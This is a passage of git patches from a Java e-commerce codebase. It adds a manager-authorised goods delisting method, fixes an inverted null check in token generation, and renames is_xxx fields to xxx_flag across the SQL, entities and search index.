a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 09a0bd1b..24f5d6ad 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -103,6 +103,15 @@ public interface GoodsService extends IService { */ Boolean updateGoodsMarketAble(List goodsIds, GoodsStatusEnum goodsStatusEnum, String underReason); + /** + * 更新商品上架状态状态 + * + * @param goodsIds 商品ID集合 + * @param goodsStatusEnum 更新的商品状态 + * @param underReason 下架原因 + * @return 更新结果 + */ + Boolean managerUpdateGoodsMarketAble(List goodsIds, GoodsStatusEnum goodsStatusEnum, String underReason); /** * 删除商品 * diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index e8d63ee5..9b1b3d32 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -298,6 +298,34 @@ public class GoodsServiceImpl extends ServiceImpl implements return result; } + @Override + public Boolean managerUpdateGoodsMarketAble(List goodsIds, GoodsStatusEnum goodsStatusEnum, String underReason) { + boolean result; + + //如果商品为空,直接返回 + if (goodsIds == null || goodsIds.isEmpty()) { + return true; + } + + //检测管理员权限 + this.checkManagerAuthority(); + + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.set(Goods::getMarketEnable, goodsStatusEnum.name()); + updateWrapper.set(Goods::getUnderMessage, underReason); + updateWrapper.in(Goods::getId, goodsIds); + result = this.update(updateWrapper); + + //修改规格商品 + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.in(Goods::getId, goodsIds); + List goodsList = this.list(queryWrapper); + for (Goods goods : goodsList) { + goodsSkuService.updateGoodsSkuStatus(goods); + } + return result; + } + @Override public Boolean deleteGoods(List goodsIds) { @@ -475,6 +503,20 @@ public class GoodsServiceImpl extends ServiceImpl implements return goods; } + + /** + * 获取UpdateWrapper(检查用户越权) + * + * @return updateWrapper + */ + private LambdaUpdateWrapper getUpdateWrapperByStoreAuthority() { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + AuthUser authUser = this.checkStoreAuthority(); + updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); + return updateWrapper; + } + + /** * 检查当前登录的店铺 * @@ -490,17 +532,30 @@ public class GoodsServiceImpl extends ServiceImpl implements } } + /** + * 检查当前登录的店铺 + * + * @return 当前登录的店铺 + */ + private AuthUser checkManagerAuthority() { + AuthUser currentUser = UserContext.getCurrentUser(); + //如果当前会员不为空,且为店铺角色 + if (currentUser != null && (currentUser.getRole().equals(UserEnums.MANAGER))) { + return currentUser; + } else { + throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); + } + } + /** * 获取UpdateWrapper(检查用户越权) * * @return updateWrapper */ - private LambdaUpdateWrapper getUpdateWrapperByStoreAuthority() { + private LambdaUpdateWrapper getUpdateWrapperByManagerAuthority() { LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); AuthUser authUser = this.checkStoreAuthority(); - if (authUser != null) { - updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); - } + updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); return updateWrapper; } @@ -512,9 +567,7 @@ public class GoodsServiceImpl extends ServiceImpl implements private LambdaQueryWrapper getQueryWrapperByStoreAuthority() { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); AuthUser authUser = this.checkStoreAuthority(); - if (authUser != null) { - queryWrapper.eq(Goods::getStoreId, authUser.getStoreId()); - } + queryWrapper.eq(Goods::getStoreId, authUser.getStoreId()); return queryWrapper; } diff --git a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java index 8004783c..cdad8832 100644 --- a/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/goods/GoodsManagerController.java @@ -73,7 +73,7 @@ public class GoodsManagerController { @PutMapping(value = "/{goodsId}/under") public ResultMessage underGoods(@PathVariable String goodsId, @NotEmpty(message = "下架原因不能为空") @RequestParam String reason) { List goodsIds = Arrays.asList(goodsId.split(",")); - if (Boolean.TRUE.equals(goodsService.updateGoodsMarketAble(goodsIds, GoodsStatusEnum.DOWN, reason))) { + if (Boolean.TRUE.equals(goodsService.managerUpdateGoodsMarketAble(goodsIds, GoodsStatusEnum.DOWN, reason))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.GOODS_UNDER_ERROR); From 351745d31f11d9e40492d42012adcfa7678033d4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 16:08:24 +0800 Subject: [PATCH 084/145] =?UTF-8?q?=E4=BF=83=E9=94=80=E7=B1=BB=E5=9E=8B?= =?UTF-8?q?=E9=94=99=E8=AF=AF=E7=9A=84=E5=86=99=E5=85=A5=E4=B8=80=E4=B8=AA?= =?UTF-8?q?=E4=BF=83=E9=94=80=E7=8A=B6=E6=80=81=E5=AD=97=E6=AE=B5=E9=97=AE?= =?UTF-8?q?=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/promotion/serviceimpl/PintuanServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index dfbcbc78..e5ca01cb 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -243,7 +243,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl Date: Tue, 21 Dec 2021 16:59:57 +0800 Subject: [PATCH 085/145] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E4=B8=AA?= =?UTF-8?q?=E9=94=99=E8=AF=AF=E7=9A=84=E9=9D=9E=E7=A9=BA=E5=88=A4=E6=96=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/modules/system/token/ManagerTokenGenerate.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java index aa9ec8e3..c58dbbc9 100644 --- a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java @@ -74,7 +74,7 @@ public class ManagerTokenGenerate extends AbstractTokenGenerate { initPermission(superPermissions, queryPermissions); //循环权限菜单 - if (userMenuVOList == null || userMenuVOList.isEmpty()) { + if (userMenuVOList != null) { userMenuVOList.forEach(menu -> { //循环菜单,赋予用户权限 if (StrUtil.isNotEmpty(menu.getPermission())) { From 3ba4d2404101ce8032a878aa0a5fd5c9d450376b Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 21 Dec 2021 18:54:11 +0800 Subject: [PATCH 086/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BF=83=E9=94=80?= =?UTF-8?q?=E3=80=82=E7=A7=BB=E9=99=A4=E7=BB=93=E7=AE=97=E6=97=B6=E4=BF=83?= =?UTF-8?q?=E9=94=80=E7=9A=84=E4=BE=9D=E8=B5=96=E3=80=82=E8=A7=84=E8=8C=83?= =?UTF-8?q?=E9=83=A8=E5=88=86isxxx=E5=AD=97=E6=AE=B5=E5=91=BD=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 15 ++ .../lili/controller/order/CartController.java | 2 +- .../KanjiaGoodsActivityBuyerController.java | 4 +- .../lili/listener/GoodsMessageListener.java | 20 +- .../PromotionTimeTriggerExecutor.java | 5 + .../java/cn/lili/common/enums/ResultCode.java | 1 + .../BaseElasticsearchService.java | 2 +- .../config/ElasticsearchConfig.java | 2 +- .../lili/modules/goods/entity/dos/Goods.java | 2 +- .../modules/goods/entity/dos/GoodsSku.java | 4 +- .../goods/entity/dto/GoodsSearchParams.java | 10 +- .../modules/goods/service/GoodsService.java | 9 + .../goods/service/GoodsSkuService.java | 2 +- .../serviceimpl/CommodityServiceImpl.java | 2 +- .../goods/serviceimpl/GoodsServiceImpl.java | 30 ++- .../serviceimpl/GoodsSkuServiceImpl.java | 17 +- .../order/cart/entity/vo/CartSkuVO.java | 18 +- .../order/cart/entity/vo/FullDiscountVO.java | 30 +-- .../cart/render/impl/CheckDataRender.java | 49 ++--- .../cart/render/impl/CheckedFilterRender.java | 2 +- .../cart/render/impl/CommissionRender.java | 35 ++-- .../order/cart/render/impl/CouponRender.java | 12 +- .../render/impl/DistributionPriceRender.java | 14 +- .../cart/render/impl/FullDiscountRender.java | 93 +++------ .../cart/render/impl/SkuPromotionRender.java | 29 +-- .../order/cart/service/CartServiceImpl.java | 193 +++++++++--------- .../modules/order/order/entity/dos/Order.java | 6 +- .../order/serviceimpl/OrderServiceImpl.java | 13 +- .../promotion/entity/dos/FullDiscount.java | 48 ++--- .../promotion/entity/dos/MemberCoupon.java | 2 +- .../promotion/entity/dos/PromotionGoods.java | 2 + .../entity/vos/CouponSearchParams.java | 4 +- .../entity/vos/FullDiscountSearchParams.java | 6 +- .../vos/kanjia/KanjiaActivityGoodsParams.java | 34 +-- .../service/KanjiaActivityGoodsService.java | 24 +-- .../AbstractPromotionsServiceImpl.java | 7 +- .../CouponActivityServiceImpl.java | 2 +- .../serviceimpl/CouponServiceImpl.java | 2 +- .../serviceimpl/FullDiscountServiceImpl.java | 14 +- .../KanjiaActivityGoodsServiceImpl.java | 63 +++--- .../serviceimpl/MemberCouponServiceImpl.java | 4 +- .../serviceimpl/PintuanServiceImpl.java | 27 ++- .../serviceimpl/PointsGoodsServiceImpl.java | 16 +- .../serviceimpl/SeckillServiceImpl.java | 10 + .../promotion/tools/PromotionTools.java | 21 -- .../search/entity/dos/EsGoodsIndex.java | 6 +- .../search/service/EsGoodsIndexService.java | 4 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 28 +-- .../serviceimpl/EsGoodsSearchServiceImpl.java | 2 +- .../GoodsStatisticsServiceImpl.java | 2 +- .../system/token/ManagerTokenGenerate.java | 8 +- .../goods/GoodsManagerController.java | 10 +- .../KanJiaActivityGoodsManagerController.java | 12 +- .../cn/lili/test/elasticsearch/EsTest.java | 72 ++----- .../lili/test/promotion/FullDiscountTest.java | 8 +- .../promotion/PintuanStoreController.java | 9 + 56 files changed, 534 insertions(+), 534 deletions(-) diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql index 2e47e554..3e57521f 100644 --- a/DB/li_promotions.sql +++ b/DB/li_promotions.sql @@ -1,4 +1,5 @@ +-- 促销重构sql ALTER TABLE li_coupon DROP COLUMN promotion_status; ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; @@ -36,3 +37,17 @@ ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 ALTER TABLE li_seckill DROP COLUMN promotion_status; ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; + +ALTER TABLE li_full_discount RENAME COLUMN is_coupon TO coupon_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_free_freight TO free_freight_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_full_minus TO full_minus_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_full_rate TO full_rate_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_gift TO gift_flag; +ALTER TABLE li_full_discount RENAME COLUMN is_point TO point_flag; + +ALTER TABLE li_member_coupon RENAME COLUMN is_platform TO platform_flag; + +ALTER TABLE li_goods RENAME COLUMN is_auth TO auth_flag; + +ALTER TABLE li_goods_sku RENAME COLUMN is_promotion TO promotion_flag; +ALTER TABLE li_goods_sku RENAME COLUMN is_auth TO auth_flag; diff --git a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java index 17e4f3ed..c2a4508a 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/CartController.java +++ b/buyer-api/src/main/java/cn/lili/controller/order/CartController.java @@ -246,7 +246,7 @@ public class CartController { throw se; } catch (Exception e) { log.error(ResultCode.ORDER_ERROR.message(), e); - throw new ServiceException(ResultCode.ORDER_ERROR); + throw e; } } } diff --git a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java index a0445108..51b2dab2 100644 --- a/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/promotion/KanjiaGoodsActivityBuyerController.java @@ -53,8 +53,8 @@ public class KanjiaGoodsActivityBuyerController { public ResultMessage> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) { // 会员端查询到的肯定是已经开始的活动商品 kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name()); - kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); - kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); +// kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); +// kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page)); } diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index f08a1a70..b86dbe59 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -141,12 +141,20 @@ public class GoodsMessageListener implements RocketMQListener { this.updateGoodsIndexPromotions(new String(messageExt.getBody())); break; case DELETE_GOODS_INDEX_PROMOTIONS: - this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, new String(messageExt.getBody())); + BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); + log.info("删除索引信息: {}", promotions); + if (CharSequenceUtil.isNotEmpty(promotions.getScopeId())) { + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(Arrays.asList(promotions.getScopeId().split(",")), promotions.getId()); + } else { + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, promotions.getId()); + } break; case UPDATE_GOODS_INDEX: try { String goodsIdsJsonStr = new String(messageExt.getBody()); - List goodsList = goodsService.list(new LambdaQueryWrapper().in(Goods::getId, JSONUtil.toList(goodsIdsJsonStr, String.class))); + GoodsSearchParams searchParams = new GoodsSearchParams(); + searchParams.setId(ArrayUtil.join(JSONUtil.toList(goodsIdsJsonStr, String.class).toArray(), ",")); + List goodsList = goodsService.queryListByParams(searchParams); this.updateGoodsIndex(goodsList); } catch (Exception e) { log.error("更新商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); @@ -224,6 +232,8 @@ public class GoodsMessageListener implements RocketMQListener { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setPromotionId(promotions.getId()); List promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams); + List skuIds = promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuIds, promotions.getId()); this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey); } else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) { GoodsSearchParams searchParams = new GoodsSearchParams(); @@ -249,7 +259,7 @@ public class GoodsMessageListener implements RocketMQListener { for (Goods goods : goodsList) { //如果商品通过审核&&并且已上架 List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId()).gt(GoodsSku::getQuantity, 0)); - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { goodsSkuList.forEach(goodsSku -> { @@ -278,7 +288,7 @@ public class GoodsMessageListener implements RocketMQListener { private void updateGoodsIndex(Goods goods) { //如果商品通过审核&&并且已上架 List goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper().eq(GoodsSku::getGoodsId, goods.getId())); - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { this.generatorGoodsIndex(goods, goodsSkuList); @@ -322,7 +332,7 @@ public class GoodsMessageListener implements RocketMQListener { List goodsParamDTOS = JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class); goodsIndex = new EsGoodsIndex(goodsSku, goodsParamDTOS); } - goodsIndex.setIsAuth(goods.getIsAuth()); + goodsIndex.setAuthFlag(goods.getAuthFlag()); goodsIndex.setMarketEnable(goods.getMarketEnable()); this.settingUpGoodsIndexOtherParam(goodsIndex); return goodsIndex; diff --git a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java index 1eb8cbd3..70e908e8 100644 --- a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java +++ b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java @@ -2,6 +2,7 @@ package cn.lili.trigger.executor; import cn.hutool.json.JSONUtil; import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.trigger.TimeTriggerExecutor; import cn.lili.trigger.message.PintuanOrderMessage; import cn.lili.trigger.model.TimeExecuteConstant; @@ -35,6 +36,10 @@ public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { //拼团订单自动处理 orderService.agglomeratePintuanOrder(pintuanOrderMessage.getPintuanId(), pintuanOrderMessage.getOrderSn()); } + Pintuan pintuan = JSONUtil.toBean(JSONUtil.parseObj(object), Pintuan.class); + if (pintuan != null && pintuan.getId() != null) { + this.orderService.checkFictitiousOrder(pintuan.getId(), pintuan.getRequiredNum(), pintuan.getFictitious()); + } } diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index 70b834e3..264b36fc 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -364,6 +364,7 @@ public enum ResultCode { KANJIA_GOODS_ACTIVE_HIGHEST_LOWEST_PRICE_ERROR(48005, "最低砍价金额不能高于最高砍价金额"), KANJIA_GOODS_ACTIVE_SETTLEMENT_PRICE_ERROR(48006, "结算金额不能高于商品金额"), KANJIA_GOODS_DELETE_ERROR(48007, "删除砍价商品异常"), + KANJIA_GOODS_UPDATE_ERROR(48012, "更新砍价商品异常"), KANJIA_ACTIVITY_NOT_FOUND_ERROR(48008, "砍价记录不存在"), KANJIA_ACTIVITY_LOG_MEMBER_ERROR(48009, "当前会员已经帮砍"), KANJIA_ACTIVITY_MEMBER_ERROR(48010, "当前会员已经发起此砍价商品活动"), diff --git a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java index 8ece3359..59fe971d 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java +++ b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java @@ -244,7 +244,7 @@ public abstract class BaseElasticsearchService { " }\n" + " }\n" + " },\n" + - " \"isAuth\": {\n" + + " \"authFlag\": {\n" + " \"type\": \"text\",\n" + " \"fields\": {\n" + " \"keyword\": {\n" + diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index 36229fca..478470d2 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -57,7 +57,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { .setDefaultCredentialsProvider(credential) .setKeepAliveStrategy(getConnectionKeepAliveStrategy()) .setMaxConnPerRoute(10) - .setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(1).build())); + .setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(Runtime.getRuntime().availableProcessors()).build())); } restBuilder.setRequestConfigCallback(requestConfigBuilder -> diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java index dc8160e5..0e1c42e5 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java @@ -107,7 +107,7 @@ public class Goods extends BaseEntity { private String templateId; @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "审核信息") private String authMessage; diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java index 0b0b0370..767fd0bb 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/GoodsSku.java @@ -42,7 +42,7 @@ public class GoodsSku extends BaseEntity { private String freightTemplateId; @ApiModelProperty(value = "是否是促销商品") - private Boolean isPromotion; + private Boolean promotionFlag; @ApiModelProperty(value = "促销价") private Double promotionPrice; @@ -130,7 +130,7 @@ public class GoodsSku extends BaseEntity { * @see GoodsAuthEnum */ @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "审核信息") private String authMessage; diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java index 4b59c4c6..17d5090b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java @@ -9,6 +9,8 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import java.util.Arrays; + /** * 商品查询条件 * @@ -58,7 +60,7 @@ public class GoodsSearchParams extends PageVO { * @see GoodsAuthEnum */ @ApiModelProperty(value = "审核状态") - private String isAuth; + private String authFlag; @ApiModelProperty(value = "库存数量") private Integer quantity; @@ -81,7 +83,7 @@ public class GoodsSearchParams extends PageVO { queryWrapper.like("goods_name", goodsName); } if (CharSequenceUtil.isNotEmpty(id)) { - queryWrapper.eq("id", id); + queryWrapper.in("id", Arrays.asList(id.split(","))); } if (CharSequenceUtil.isNotEmpty(storeId)) { queryWrapper.eq("store_id", storeId); @@ -101,8 +103,8 @@ public class GoodsSearchParams extends PageVO { if (CharSequenceUtil.isNotEmpty(marketEnable)) { queryWrapper.eq("market_enable", marketEnable); } - if (CharSequenceUtil.isNotEmpty(isAuth)) { - queryWrapper.eq("is_auth", isAuth); + if (CharSequenceUtil.isNotEmpty(authFlag)) { + queryWrapper.eq("auth_flag", authFlag); } if (quantity != null) { queryWrapper.le("quantity", quantity); diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 09a0bd1b..57ce53d7 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -83,6 +83,15 @@ public interface GoodsService extends IService { */ IPage queryByParams(GoodsSearchParams goodsSearchParams); + + /** + * 商品查询 + * + * @param goodsSearchParams 查询参数 + * @return 商品信息 + */ + List queryListByParams(GoodsSearchParams goodsSearchParams); + /** * 批量审核商品 * diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index 085819e8..03bd3276 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -147,7 +147,7 @@ public interface GoodsSkuService extends IService { /** * 更新商品sku状态 * - * @param goods 商品信息(Id,MarketEnable/IsAuth) + * @param goods 商品信息(Id,MarketEnable/AuthFlag) */ void updateGoodsSkuStatus(Goods goods); diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java index fe069032..983c56b5 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java @@ -70,7 +70,7 @@ public class CommodityServiceImpl extends ServiceImpl implements */ @Autowired private RocketmqCustomProperties rocketmqCustomProperties; - /** - * 分类-参数 - */ - @Autowired - private CategoryParameterGroupService categoryParameterGroupService; @Autowired private FreightTemplateService freightTemplateService; @@ -255,12 +253,23 @@ public class GoodsServiceImpl extends ServiceImpl implements return this.page(PageUtil.initPage(goodsSearchParams), goodsSearchParams.queryWrapper()); } + /** + * 商品查询 + * + * @param goodsSearchParams 查询参数 + * @return 商品信息 + */ + @Override + public List queryListByParams(GoodsSearchParams goodsSearchParams) { + return this.list(goodsSearchParams.queryWrapper()); + } + @Override public boolean auditGoods(List goodsIds, GoodsAuthEnum goodsAuthEnum) { boolean result = false; for (String goodsId : goodsIds) { Goods goods = this.checkExist(goodsId); - goods.setIsAuth(goodsAuthEnum.name()); + goods.setAuthFlag(goodsAuthEnum.name()); result = this.updateById(goods); goodsSkuService.updateGoodsSkuStatus(goods); //删除之前的缓存 @@ -384,7 +393,7 @@ public class GoodsServiceImpl extends ServiceImpl implements return this.count( new LambdaQueryWrapper() .eq(Goods::getStoreId, storeId) - .eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()) + .eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name()) .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); } @@ -445,7 +454,7 @@ public class GoodsServiceImpl extends ServiceImpl implements Setting setting = settingService.get(SettingEnum.GOODS_SETTING.name()); GoodsSetting goodsSetting = JSONUtil.toBean(setting.getSettingValue(), GoodsSetting.class); //是否需要审核 - goods.setIsAuth(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name()); + goods.setAuthFlag(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name()); //判断当前用户是否为店铺 if (Objects.requireNonNull(UserContext.getCurrentUser()).getRole().equals(UserEnums.STORE)) { StoreVO storeDetail = this.storeService.getStoreDetail(); @@ -485,9 +494,8 @@ public class GoodsServiceImpl extends ServiceImpl implements //如果当前会员不为空,且为店铺角色 if (currentUser != null && (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null)) { return currentUser; - } else { - throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); } + return null; } /** diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b7eef69b..3e37bf9a 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -154,7 +154,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i skuInfo(sku, goods, map, null); newSkuList.add(sku); //如果商品状态值不对,则es索引移除 - if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) { + if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) { goodsIndexService.deleteIndexById(sku.getId()); this.clearCache(sku.getId()); } @@ -234,7 +234,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //商品为空||商品下架||商品未审核通过||商品删除,则提示:商品已下架 if (goodsVO == null || goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) - || !goodsVO.getIsAuth().equals(GoodsAuthEnum.PASS.name()) + || 